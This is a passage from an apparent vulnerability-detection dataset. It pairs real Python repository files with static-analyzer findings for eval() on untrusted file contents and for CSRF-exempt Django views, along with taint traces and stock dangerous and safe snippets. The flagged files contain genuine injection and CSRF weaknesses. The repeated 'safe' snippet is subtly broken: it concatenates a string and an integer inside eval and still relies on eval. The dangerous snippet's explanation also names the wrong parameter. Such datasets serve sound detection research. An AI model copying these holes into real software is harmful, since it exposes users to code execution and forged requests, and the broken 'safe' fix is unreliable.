bboxes, plt.gca())\n\n\nclass Torch3DDataset(Blender3DDataset):\n def __init__(\n self,\n data_dir: str,\n table: str,\n batch_size: int = 1, # not used\n imgnrs: Optional[Iterable[int]] = None,\n n_classes: Optional[int] = None,\n shuffle: bool = True,\n preprocessor: Optional[Callable[[torch.tensor], torch.tensor]] = None,\n device: Optional[torch.device] = None,\n *ppargs,\n **ppkwargs,\n ):\n super().__init__(\n data_dir,\n table,\n 1,\n imgnrs=imgnrs,\n n_classes=n_classes,\n shuffle=shuffle,\n preprocessor=preprocessor,\n *ppargs,\n **ppkwargs,\n )\n self.device = device\n\n def get_batch(\n self, batchnr: int\n ) -> Tuple[\n List[Sequence[Sequence[Sequence[float]]]],\n List[Tuple[Sequence[int], Sequence[Sequence[float]]]],\n ]:\n X_batch, y_batch = super().get_batch(batchnr)\n\n # List of length 1 of tuples that contains left and right images (H, W, C)\n X_batch: List[Tuple[np.ndarray]]\n X_batch: Tuple[np.ndarray] = X_batch[0]\n X_batch: Tuple[torch.Tensor] = (\n np_to_torch_img(X_batch[0]).unsqueeze(0).to(self.device),\n np_to_torch_img(X_batch[1]).unsqueeze(0).to(self.device),\n )\n\n # None device will default to CPU or something (it doesn't crash hehe)\n y_batch: List[Dict[str, torch.Tensor]] = {\n \"labels\": torch.as_tensor(y_batch[0][0], dtype=torch.long, device=self.device),\n \"boxes\": torch.as_tensor(y_batch[0][1], dtype=torch.float32, device=self.device),\n }\n\n assert y_batch['boxes'].shape[1] == 9, \"Wrong bbox shape, have you chosen the correct table?\"\n return X_batch, y_batch\n\n def plot_batch(self, batchnr: int):\n (img,), (bboxes,) = super().get_batch(batchnr)\n img = img[0]\n plt.imshow(img)\n self.plot_bbox(img, bboxes, plt.gca())\n\nif __name__ == \"__main__\":\n thing = TorchStereoDataset(\n data_dir=\"/mnt/blendervol/leftright_left_data\",\n table=\"bboxes_std\",\n batch_size=1,\n imgnrs=range(0, 1000),\n )\n\n from torch.utils.data import DataLoader\n import fishdetr2d as detr\n trainloader = DataLoader(\n dataset = thing,\n batch_size = 6,\n collate_fn = detr.collate,\n pin_memory = True,\n )\n\n X, y = next(iter(trainloader))\n debugt(y)\n debugt(y[0])\n debugt(y[0]['labels'])\n debug(y[0]['labels'])\n \n\n # thing = BlenderStandardDataset(\n # data_dir='/mnt/blendervol/objdet_std_data',\n # table='bboxes_std',\n # batch_size=4,\n # imgnrs=(1,1,1)\n # )\n\n # X, y = thing.get_batch(0)\n # pprint(y)\n\n # print('X')\n # print(X[0][0].shape)\n # print(X[0][1].shape)\n # print('y')\n # print(y)\n pass", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. result = eval('100 + ' + userId)\n6. return HttpResponse('result = ' + result)\nLine 5: An external input, request.GET['operation'], is used to generate an argument of eval() function. Then, attackers can use code by sending userId through 1, dangerous_function_call().", "safeExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. try:\n6. id_as_int = int(userId)\n7. result = eval('100 + ' + id_as_int) # safe\n8. return HttpResponse('result = ' + result)\n9. except ValueError:\n10. return HttpResponse('bad input')\nLine 6: Check that an input is expected one before using.", "contexts": [{"lineNo": 74, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 75, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "readline"}}, {"lineNo": 75, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "662429c05378d49b32cc221aef749c627ac761aebb1779f7ad632738d7f6d315", "license": {"spdx": ["MIT"], "repo": "zahraaliaghazadeh/python", "path": "FileIO/writing.py", "repo_head_hexsha": "2f2d0141a916c99e8724f803bd4e5c7246a7a02e", "stack_hexsha": "186290fa728124b62b39acf1caf2fda117d47242", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Direct dynamic code evaluation", "issueDescriptionEn": "The Direct dynamic code evaluation checker finds instances of using unvalidated external inputs in dynamic evaluation code.\nStrings passed to the Eval() function during program execution are considered part of code to be executed.\nIf an unvalidated external input is allowed in dynamically executable code, attackers can execute an arbitrary action to achieve their aim.\nCheck if the dynamic evaluation is necessary in the program design; if possible, replace it with a static code that behaves identically. Most ordinary program actions can be implemented without dynamic evaluation; in many cases, programmers use dynamic code simply in order to avoid some bothersome coding. If the use of dynamic code with untrusted external inputs is inevitable, have those inputs filtered, or restrict argument values determined by external inputs to those selected from within a preconfigured array of appropriate values.", "issueLineNumber": 27, "entireCode": "# cities = [\"Adelaide\", \"Alice Springs\", \"Darwin\", \"Melbourne\", \"Sydney\"]\n#\n# with open(\"cities.txt\", 'w') as city_file:\n# for city in cities:\n# print(city, file=city_file)\n# can add flush=True to line above\n\n# cities = []\n#\n# with open(\"cities.txt\", 'r') as city_file:\n# for city in city_file:\n# cities.append(city.strip('\\n'))\n# #\n# print(cities)\n# for city in cities:\n# print(city)\n\n# imelda = \"\", \"\", \"2011\", (\n# (1, \"Pulling the Rug\"), (2,\"Psycho\"), (3, \"Mayhem\"), (4, \"Kentish Town Waltz\"))\n#\n# with open(\"imelda3.txt\", 'w') as imelda_file:\n# print(imelda, file=imelda_file)\n\nwith open(\"imelda3.txt\", 'r') as imelda_file:\n contents = imelda_file.readline()\n\nimelda = eval(contents)\n#\nprint(imelda)\ntitle, artist, year, tracks = imelda\nprint(title)\nprint(artist)\nprint(year)", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. result = eval('100 + ' + userId)\n6. return HttpResponse('result = ' + result)\nLine 5: An external input, request.GET['operation'], is used to generate an argument of eval() function. Then, attackers can use code by sending userId through 1, dangerous_function_call().", "safeExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. try:\n6. id_as_int = int(userId)\n7. result = eval('100 + ' + id_as_int) # safe\n8. return HttpResponse('result = ' + result)\n9. except ValueError:\n10. return HttpResponse('bad input')\nLine 6: Check that an input is expected one before using.", "contexts": [{"lineNo": 24, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 25, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "readline"}}, {"lineNo": 25, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 27, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "7f0e44003ccc925ad9430ddfb30f3d0218bed22e4df66f1a938c1f0d202c93d8", "license": {"spdx": ["MIT"], "repo": "Storiedpumpkin0/Tales-of-Eedra", "path": "code/tools.py", "repo_head_hexsha": "72d40ee3ade6cfffbed6945f63f91c49a9b174d8", "stack_hexsha": "489c413ca9c65b43f6d7d16876b5255d6a339fd2", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Direct dynamic code evaluation", "issueDescriptionEn": "The Direct dynamic code evaluation checker finds instances of using unvalidated external inputs in dynamic evaluation code.\nStrings passed to the Eval() function during program execution are considered part of code to be executed.\nIf an unvalidated external input is allowed in dynamically executable code, attackers can execute an arbitrary action to achieve their aim.\nCheck if the dynamic evaluation is necessary in the program design; if possible, replace it with a static code that behaves identically. Most ordinary program actions can be implemented without dynamic evaluation; in many cases, programmers use dynamic code simply in order to avoid some bothersome coding. If the use of dynamic code with untrusted external inputs is inevitable, have those inputs filtered, or restrict argument values determined by external inputs to those selected from within a preconfigured array of appropriate values.", "issueLineNumber": 39, "entireCode": "# This file will be a collection of tools that will help in the game\n\nimport os, sys, random, time\npath = os.getcwd()\nsys.path.insert(0,path)\nresponse1 = ''\n\ndef test():\n print(\" -- -- -- -- DEBUG -- -- -- -- -- \")\n return\n\ndef read_file(filename, number):\n import time\n with open(filename, 'r') as file:\n #print('DEBUG',filename)\n lines = file.readlines()\n # Print out the contents with a timed delay, for atmosphere.\n for num, line in enumerate(lines, 1):\n print(line)\n time.sleep(number)\n return\n\n# method to determine if player makes a hit\ndef hit_or_miss(stat, limit):\n var = random.randint(0,20)\n player_stat = get_player_stat(stat)\n if var + player_stat >= limit:\n return 'hit'\n else:\n return 'miss'\n\ndef restore_player_hp():\n #print(\"DEBUG --- --- --- In restore hp function\")\n print(\"\\n\\n -*- \")\n player_file = 'Data\\\\player_info\\player.txt'\n original_player_file = 'Data\\\\player_info\\\\Original_player.txt'\n with open(player_file, 'r') as player:\n player_contents = player.read()\n player_info = eval(player_contents)\n\n time.sleep(.5)\n print(\"\\n Current HP: \", player_info['Hit Points'], \"\\n\")\n time.sleep(.5)\n #get original health\n with open(original_player_file, 'r') as original_player:\n original_player_contents = original_player.read()\n original_player_info = eval(original_player_contents)\n original_hp = original_player_info['Hit Points']\n # update the hp to the original new value\n player_info['Hit Points'] = original_hp\n print(\"\\n Updated HP: \", player_info['Hit Points'] )\n time.sleep(.5)\n print(\"\\n -*- \\n\\n\")\n time.sleep(.5)\n # save the new dictionary to the monster file\n with open(player_file, 'w') as file:\n file.write(str(player_info))\n return\n\ndef player_hurt():\n if get_player_stat('Hit Points') <= get_original_player_stat('Hit Points')/2:\n return True\n else:\n return False\n\n# method to update the players stats\ndef update_player_stats(key, value):\n player_file = 'Data\\\\player_info\\\\player.txt'\n # open the players statistics file\n with open(player_file, 'r') as player:\n player_contents = player.read()\n player_info = eval(player_contents)\n\n # update the given statistic to the new value\n player_info[key] = value\n\n # save the new dictionary to the players file\n with open(player_file, 'w') as file:\n file.write(str(player_info))\n return\n\ndef player_level_up():\n print(\"\\n -*- \\nPLAYER LEVEL UP!\\n\")\n time.sleep(2)\n player_file = 'Data\\\\player_info\\\\player.txt'\n original_player_file = 'Data\\\\player_info\\\\Original_player.txt'\n # restore hp before leveling up\n restore_player_hp()\n # open the players statistics file\n with open(player_file, 'r') as player:\n player_contents = player.read()\n player_info = eval(player_contents)\n #get a new dictionary to save the stats to\n player_info = { \"Name\": get_player_stat('Name'),\n \"Race\": get_player_stat('Race'),\n \"player_class\": get_player_stat('player_class'),\n \"Gender\": get_player_stat('Gender'),\n \"Strength\": get_player_stat('Strength') + 1,\n \"Dex\": get_player_stat('Dex') + 1,\n \"Constitution\": get_player_stat('Constitution') + 1,\n \"Intelligence\": get_player_stat('Intelligence') + 1,\n \"Wisdom\": get_player_stat('Wisdom') + 1,\n \"Charistma\": get_player_stat('Charistma') + 1,\n \"Hit Points\": get_player_stat('Hit Points') + 1,\n \"Speed\" : get_player_stat(\"Speed\")\n }\n # show the player their new stats\n print(\" \\nYour new stats are as follows:\\n\")\n time.sleep(1)\n for key in player_info:\n print(key,': ', player_info[key])\n time.sleep(.5)\n\n time.sleep(1)\n print('\\n -*- \\n \\n ')\n time.sleep(1)\n print(\"way to go!!!\\n\")\n time.sleep(1)\n # save the new dictionary to the players file\n with open(player_file, 'w') as file:\n file.write(str(player_info))\n\n # save the new dictionary to replace the original stats file\n with open(original_player_file, 'w') as file:\n file.write(str(player_info))\n\n return\n\n# get a players stat\ndef get_player_stat(key):\n player_file = 'Data\\\\player_info\\\\player.txt'\n # open the players statistics file\n with open(player_file, 'r') as player:\n player_contents = player.read()\n player_info = eval(player_contents)\n stat = player_info[key]\n return stat\n\ndef get_original_player_stat(key):\n player_file = 'Data\\\\player_info\\\\Original_player.txt'\n # open the players statistics file\n with open(player_file, 'r') as player:\n player_contents = player.read()\n player_info = eval(player_contents)\n stat = player_info[key]\n return stat\n\ndef monster_hit_or_miss(stat, limit, monster_file):\n var = random.randint(0,20)\n monster_stat = get_monster_stat(stat)\n if var + monster_stat >= limit:\n return 'hit'\n else:\n return 'miss'\n\ndef get_monster_stat(monster_file, stat):\n # open the monster statistics file\n with open(monster_file, 'r') as monster:\n monster_contents = monster.read()\n monster_info = eval(monster_contents)\n stat = monster_info[stat]\n return stat\n\n# method to update a monsters HP after being attacked by the player\ndef update_monster_hp(monster_file, value):\n # open the monster statistics file\n with open(monster_file, 'r') as monster:\n monster_contents = monster.read()\n monster_info = eval(monster_contents)\n\n # update the hp to the new value\n monster_info['Hit Points'] = monster_info['Hit Points'] - value\n\n # save the new dictionary to the monster file\n with open(monster_file, 'w') as file:\n file.write(str(monster_info))\n return\n\ndef reset_monster_hp(monster_file, value):\n # open the monster statistics file\n with open(monster_file, 'r') as monster:\n monster_contents = monster.read()\n monster_info = eval(monster_contents)\n\n # update the hp to the new value\n monster_info['Hit Points'] = value\n\n # save the new dictionary to the monster file\n with open(monster_file, 'w') as file:\n file.write(str(monster_info))\n return\n\ndef monster_hit_or_miss(monster_file, stat, limit):\n var = random.randint(0,20)\n monster_stat = get_monster_stat(monster_file, stat)\n #if the random number plus the value of the stat is larger then the limmit value, the monster lands a hit\n if var + monster_stat >= limit:\n return 'hit'\n else:\n return 'miss'\n\ndef end():\n quit = input('press anything to continue ')\n if quit == 'hey dont actually quit':\n print('oh...okay then...')\n else:\n exit()\n return\n\n\n#--------------\n# Debugs\n#player_level_up()\n#restore_player_hp()", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. result = eval('100 + ' + userId)\n6. return HttpResponse('result = ' + result)\nLine 5: An external input, request.GET['operation'], is used to generate an argument of eval() function. Then, attackers can use code by sending userId through 1, dangerous_function_call().", "safeExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. try:\n6. id_as_int = int(userId)\n7. result = eval('100 + ' + id_as_int) # safe\n8. return HttpResponse('result = ' + result)\n9. except ValueError:\n10. return HttpResponse('bad input')\nLine 6: Check that an input is expected one before using.", "contexts": [{"lineNo": 37, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 38, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "read"}}, {"lineNo": 38, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 39, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "18297d3de6220f98dade54fdd61a654e30ca7554311614e8786c63c69d2d3976", "license": {"spdx": ["0BSD"], "repo": "pmaigutyak/mp-cart", "path": "cart/views.py", "repo_head_hexsha": "53adbbdeea7f8f8b2d432b103f7347d89adf3e30", "stack_hexsha": "161a66975b57933d5f14b6a51378ceceb0ae3ebd", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-site Request Forgery", "issueDescriptionEn": "Cross-site Request Forgery is the attack that induces a user to submit unintended requests such as changes, deletions, registrations, etc.\nto a website as intended by an attacker.\nBoth Django and Flask, the most popular frameworks for Python, support the CSRF token. For security reasons, Django uses the `{% csrf token %}` tag for the CSRF token while Flask uses the `{{form.csrf_token}}` tag via the Flask-WTF extension library.\nDjango and Flask provide CSRF protection by using CSRF tokens by default in middleware and frameworks.\n`csrf_token` needs to be used inside the form tag for this feature.", "issueLineNumber": 58, "entireCode": "\nfrom django.utils.translation import ugettext\nfrom django.views.decorators.http import require_POST\nfrom django.http import JsonResponse\nfrom django.shortcuts import render\nfrom django.core.exceptions import ValidationError\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom cart.lib import get_cart\nfrom cart.forms import SelectProductForm, SetQtyForm\n\n\n@require_POST\ndef _cart_action_view(request, action_factory, form_class, message):\n\n form = form_class(data=request.POST)\n\n if not form.is_valid():\n return JsonResponse({'message': form.errors.as_json()}, status=403)\n\n cart = get_cart(request)\n\n try:\n result = action_factory(cart, form.cleaned_data)\n except ValidationError as e:\n return JsonResponse({'message': ', '.join(e.messages)}, status=403)\n\n return JsonResponse({\n 'message': message,\n 'result': result,\n 'total': cart.printable_total\n })\n\n\ndef add(request):\n return _cart_action_view(\n request,\n action_factory=lambda cart, data: cart.add(**data),\n form_class=SelectProductForm,\n message=ugettext('Product added to cart')\n )\n\n\ndef remove(request):\n return _cart_action_view(\n request,\n action_factory=lambda cart, data: cart.remove(**data),\n form_class=SelectProductForm,\n message=ugettext('Product removed from cart')\n )\n\n\ndef get_modal(request):\n cart = get_cart(request)\n return render(request, 'cart/modal.html', {'cart': cart})\n\n\n@csrf_exempt\ndef set_qty(request):\n return _cart_action_view(\n request,\n action_factory=lambda cart, data: cart.set_qty(**data),\n form_class=SetQtyForm,\n message=ugettext('Quantity updated')\n )", "dangerousExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t # 'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: The line is commented out, which disables CSRF protection.", "safeExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: CSRF protection is enabled, which makes code safe.", "contexts": [{"lineNo": 58, "eventType": "sink", "messageKey": "pythonchk.CROSS_SITE_REQUEST_FORGERY.PYTHON.defect.decorator", "params": {}}]}} {"id": "59b82a55b2bcdbfee01ffe19decd8cbb097f0ce4cc18af5d1ff60cbda9c4d367", "license": {"spdx": ["MIT"], "repo": "osabogal10/GestiREDBackend", "path": "GestiRED/views.py", "repo_head_hexsha": "99aa3b01bd67910cc0f96751c88d0f4e83763392", "stack_hexsha": "dbaa5fe4d5410450515867da0876df0842647fcf", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-site Request Forgery", "issueDescriptionEn": "Cross-site Request Forgery is the attack that induces a user to submit unintended requests such as changes, deletions, registrations, etc.\nto a website as intended by an attacker.\nBoth Django and Flask, the most popular frameworks for Python, support the CSRF token. For security reasons, Django uses the `{% csrf token %}` tag for the CSRF token while Flask uses the `{{form.csrf_token}}` tag via the Flask-WTF extension library.\nDjango and Flask provide CSRF protection by using CSRF tokens by default in middleware and frameworks.\n`csrf_token` needs to be used inside the form tag for this feature.", "issueLineNumber": 17, "entireCode": "from django.http import HttpResponse\nfrom django.core.mail import send_mail\nimport json\nfrom django.shortcuts import render\nfrom django.views.decorators.csrf import csrf_exempt\nfrom GestiRED.models import User\nfrom GestiRED.models import QualityControl, Phase, Resource, ResourceType,PhaseType\nfrom django.core import serializers\nfrom django.db.models import Q\n\n# Create your views here.\n\ndef index(request):\n return HttpResponse(\"GestiRED app UP\")\n\n\n@csrf_exempt\ndef quality_review_notification(request):\n if request.method == 'POST':\n data = json.loads(request.body)\n qualityControl_id = data[\"qualityControl_id\"]\n resource_name = data[\"resource_name\"]\n responsible_name = data[\"responsible_name\"]\n qualityControl = QualityControl.objects.get(pk=qualityControl_id)\n user = qualityControl.responsible\n\n send_mail('Revision Calidad',\n 'Recurso: ' + resource_name + '\\n Observaciones: Se ha asignado para control de calidad a: ' + responsible_name,\n '',\n [user.email],\n fail_silently=False)\n\n res = {\"status\": \"Ok\", \"Content:\": \"Email enviado\"}\n return HttpResponse(json.dumps(res), content_type=\"application/json\")\n\n@csrf_exempt\ndef resources_filters(request):\n qs_json={}\n if request.method == 'GET':\n\n phaseType = request.GET.get('phaseType')\n if phaseType != None : phaseType= phaseType.split(',')\n\n resourceType = request.GET.get('resourceType')\n if resourceType != None : resourceType = resourceType.split(',')\n\n responsible = request.GET.get('responsible')\n if responsible != None: responsible = responsible.split(',')\n\n labels = request.GET.get('labels')\n\n my_dict = {'phase__phaseType__in':phaseType,\n 'resourceType__in': resourceType,\n 'responsibles__in':responsible,\n 'labels__icontains': labels} # Your dict with fields\n or_condition = Q()\n for key, value in my_dict.items():\n if value != None:\n or_condition.add(Q(**{key: value}), Q.AND)\n lp = set()\n lp=Resource.objects.filter(or_condition).all().distinct()\n data = list([res.json() for res in lp])\n qs_json =json.dumps({'objects':data})\n return HttpResponse( qs_json, content_type='application/json')\n", "dangerousExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t # 'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: The line is commented out, which disables CSRF protection.", "safeExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: CSRF protection is enabled, which makes code safe.", "contexts": [{"lineNo": 17, "eventType": "sink", "messageKey": "pythonchk.CROSS_SITE_REQUEST_FORGERY.PYTHON.defect.decorator", "params": {}}]}} {"id": "667fb1b5b0a23f01b5c7ad09abf8aedbea64297de60489a3b1b53e309dda47bb", "license": {"spdx": ["MIT"], "repo": "uktrade/trade-remedies-caseworker", "path": "trade_remedies_caseworker/cases/views.py", "repo_head_hexsha": "fece9fde3cb241d96cbc1aaf7188d976f8621600", "stack_hexsha": "98c615953ef0bbcfd93b9c52b023ec8e35bea466", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-site Request Forgery", "issueDescriptionEn": "Cross-site Request Forgery is the attack that induces a user to submit unintended requests such as changes, deletions, registrations, etc.\nto a website as intended by an attacker.\nBoth Django and Flask, the most popular frameworks for Python, support the CSRF token. For security reasons, Django uses the `{% csrf token %}` tag for the CSRF token while Flask uses the `{{form.csrf_token}}` tag via the Flask-WTF extension library.\nDjango and Flask provide CSRF protection by using CSRF tokens by default in middleware and frameworks.\n`csrf_token` needs to be used inside the form tag for this feature.", "issueLineNumber": 2497, "entireCode": "import itertools\nimport json\nimport logging\nimport re\nfrom django.views.generic import TemplateView\nfrom django.http import HttpResponse\nfrom django.views import View\nfrom django.contrib.auth.mixins import LoginRequiredMixin, PermissionRequiredMixin\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.shortcuts import render, redirect\nfrom django.urls import reverse\nfrom django.utils import timezone\nfrom django.utils.decorators import method_decorator\nfrom django_chunk_upload_handlers.clam_av import VirusFoundInFileException\nfrom core.base import GroupRequiredMixin\nfrom core.utils import (\n deep_index_items_by,\n deep_index_items_by_exists,\n get,\n key_by,\n index_users_by_group,\n compact_list,\n submission_contact,\n public_login_url,\n parse_notify_template,\n parse_api_datetime,\n pluck,\n to_json,\n from_json,\n deep_update,\n internal_redirect,\n is_date,\n notify_footer,\n notify_contact_email,\n)\nfrom django_countries import countries\nfrom django.conf import settings\nfrom cases.submissions import SUBMISSION_TYPE_HELPERS, get_submission_deadline\nfrom cases.utils import decorate_orgs\nfrom core.constants import (\n ALL_REGION_ALLOWED_TYPE_IDS,\n SECURITY_GROUP_TRA_HEAD_OF_INVESTIGATION,\n SECURITY_GROUP_TRA_LEAD_INVESTIGATOR,\n SECURITY_GROUPS_TRA,\n SECURITY_GROUP_TRA_ADMINISTRATOR,\n SECURITY_GROUPS_TRA_ADMINS,\n SECURITY_GROUP_ORGANISATION_OWNER,\n SUBMISSION_TYPE_QUESTIONNAIRE,\n SUBMISSION_TYPE_APPLICATION,\n SUBMISSION_NOTICE_TYPE_INVITE,\n SUBMISSION_NOTICE_TYPE_DEFICIENCY,\n SUBMISSION_TYPE_THIRD_PARTY,\n CASE_ROLE_AWAITING_APPROVAL,\n CASE_ROLE_REJECTED,\n CASE_ROLE_APPLICANT,\n CASE_ROLE_PREPARING,\n DIRECTION_TRA_TO_PUBLIC,\n)\n\nfrom trade_remedies_client.mixins import TradeRemediesAPIClientMixin\nfrom trade_remedies_client.exceptions import APIException\n\nlogger = logging.getLogger(__name__)\n\norg_fields = json.dumps(\n {\n \"Organisation\": {\n \"id\": 0,\n \"has_non_draft_subs\": 0,\n \"gov_body\": 0,\n \"has_roi\": 0,\n }\n }\n)\n\n\nclass CasesView(LoginRequiredMixin, TemplateView, TradeRemediesAPIClientMixin):\n template_name = \"cases/cases.html\"\n\n def get(self, request, *args, **kwargs):\n list_mode = request.GET.get(\"tab\", \"my\")\n panel_layout = self.client(self.request.user).get_system_boolean(\"PRE_RELEASE_PANELS\")\n fields = {\n \"Case\": {\n \"id\": 0,\n \"user_case\": 0,\n \"name\": 0,\n \"reference\": 0,\n \"created_at\": 0,\n \"type\": {\n \"name\": 0,\n \"acronym\": 0,\n \"colour\": 0,\n \"reference\": 0,\n \"applicant\": {\"organisation\": 0, \"name\": 0, \"id\": 0},\n },\n \"applicant\": {\n \"organisation\": {\n \"name\": 0,\n \"id\": 0,\n }\n },\n \"stage\": {\"name\": 0},\n \"case_status\": {\"next_action\": 0, \"next_notice_due\": 0},\n }\n }\n\n if list_mode == \"archived\":\n fields = deep_update(\n fields,\n {\n \"Case\": {\n \"workflow_state\": {\n \"MEASURE_EXPIRY\": 0,\n \"DETERMINATION_ACTIVE_DATE\": 0,\n }\n }\n },\n )\n\n cases = self.client(request.user).get_cases(\n archived=list_mode == \"archived\",\n all_cases=list_mode == \"all\",\n new_cases=list_mode == \"new\",\n fields=json.dumps(fields),\n )\n tabs = {\n \"value\": list_mode,\n \"tabList\": [\n {\"label\": \"Your cases\", \"value\": \"my\", \"sr_text\": \"Show your cases\"},\n {\"label\": \"Open cases\", \"value\": \"all\", \"sr_text\": \"Show open cases\"},\n {\n \"label\": \"New applications\",\n \"value\": \"new\",\n \"sr_text\": \"Show new applications\",\n },\n {\n \"label\": \"Archived\",\n \"value\": \"archived\",\n \"sr_text\": \"Show archived cases\",\n },\n ],\n }\n template_name = self.template_name if panel_layout else \"cases/cases_old.html\"\n body_class = \"full-width kill-footer\" if panel_layout else \"full-width\"\n return render(\n request,\n template_name,\n {\n \"body_classes\": body_class,\n \"cases\": cases,\n \"tabs\": tabs,\n },\n )\n\n\nclass CaseBaseView(\n LoginRequiredMixin,\n GroupRequiredMixin,\n PermissionRequiredMixin,\n TemplateView,\n TradeRemediesAPIClientMixin,\n):\n permission_required = []\n groups_required = SECURITY_GROUPS_TRA\n supress_nav_section = False\n\n def dispatch(self, *args, **kwargs):\n if self.request.user.is_authenticated:\n self._client = self.client(self.request.user)\n self.case_id = kwargs.get(\"case_id\")\n return super().dispatch(*args, **kwargs)\n\n def get(self, request, *args, **kwargs):\n self.kwargs = kwargs\n self.organisation_id = kwargs.get(\"organisation_id\")\n self.request = request\n self.user_token = request.user.token\n case_fields = json.dumps(\n {\n \"Case\": {\n \"id\": 0,\n \"name\": 0,\n \"initiated_at\": 0,\n \"decision_to_initiate,name\": 0,\n \"reference\": 0,\n \"sequence\": 0,\n \"type\": 0,\n \"archived_at\": 0,\n \"archive_reason\": {\"name\": 0},\n \"submission_count\": 0,\n \"participant_count\": 0,\n \"stage\": {\"name\": 0},\n \"case_status\": 0,\n \"organisation\": {\"id\": 0, \"name\": 0},\n }\n }\n )\n\n self.case = self._client.get_case(self.case_id, fields=case_fields)\n self.document_count = self._client.get_case_document_count(self.case_id)\n self.start = int(request.GET.get(\"start\", 0))\n self.limit = int(request.GET.get(\"limit\", 20))\n content_id = self.kwargs.get(\"nav_section_id\")\n context = {\n \"case\": self.case,\n \"case_id\": self.case_id,\n \"document_count\": self.document_count,\n \"content\": self._client.get_case_content(self.case_id, content_id=content_id),\n \"tree\": self._client.get_nav_section(self.case_id, selected_content=content_id),\n \"body_classes\": \"full-width\",\n \"panel_layout\": self._client.get_system_boolean(\"PRE_RELEASE_PANELS\"),\n \"organisation_id\": self.organisation_id,\n \"submission_group_name\": \"submission\",\n \"alert\": request.GET.get(\"alert\"),\n \"user\": request.user,\n }\n deep_update(context, self.add_page_data())\n if context.get(\"redirect\"):\n return redirect(context.get(\"redirect\"))\n return render(request, self.template_name, context)\n\n def add_page_data(self):\n return {}\n\n def get_documents(self, submission, all_versions=None):\n result = self._client.get_submission_documents(\n self.case_id, submission.get(\"id\"), all_versions=all_versions\n )\n all_documents = result.get(\"documents\", [])\n deficiency_docs = result.get(\"deficiency_documents\", [])\n if all_versions:\n # If this submission has an immediate ancestor, get the docs from that to mark status\n docs_by_submission = deep_index_items_by(all_documents, \"version\")\n this_version = int(submission.get(\"version\"))\n this_sub = docs_by_submission.get(str(this_version))\n sub_docs = this_sub[0].get(\"documents\")\n # we have a list of the submissions that make up a family - id, version and documents.\n if this_version > 1:\n parent_sub = docs_by_submission.get(str(this_version - 1))\n parent_docs = parent_sub and parent_sub[0].get(\"documents\")\n parent_doc_idx = {}\n for parent_doc in parent_docs:\n doc_type = get(parent_doc, \"type/name\") + \"|\" + get(parent_doc, \"name\")\n parent_doc_idx[doc_type] = parent_doc\n for document in sub_docs:\n document[\"parent\"] = parent_doc_idx.get(\n get(document, \"type/name\") + \"|\" + get(document, \"name\")\n )\n else:\n sub_docs = all_documents\n submission_documents = deep_index_items_by(sub_docs, \"type/key\")\n document_conf_index = deep_index_items_by(\n submission_documents.get(\"respondent\", []), \"confidential\"\n )\n confidential = document_conf_index.get(\"true\", [])\n confidential.sort(key=lambda cf: cf.get(\"name\"))\n non_conf = document_conf_index.get(\"\", [])\n doc_index = key_by(confidential, \"id\")\n non_conf.sort(key=lambda nc: get(get(doc_index, str(nc.get(\"parent_id\"))), \"name\"))\n return 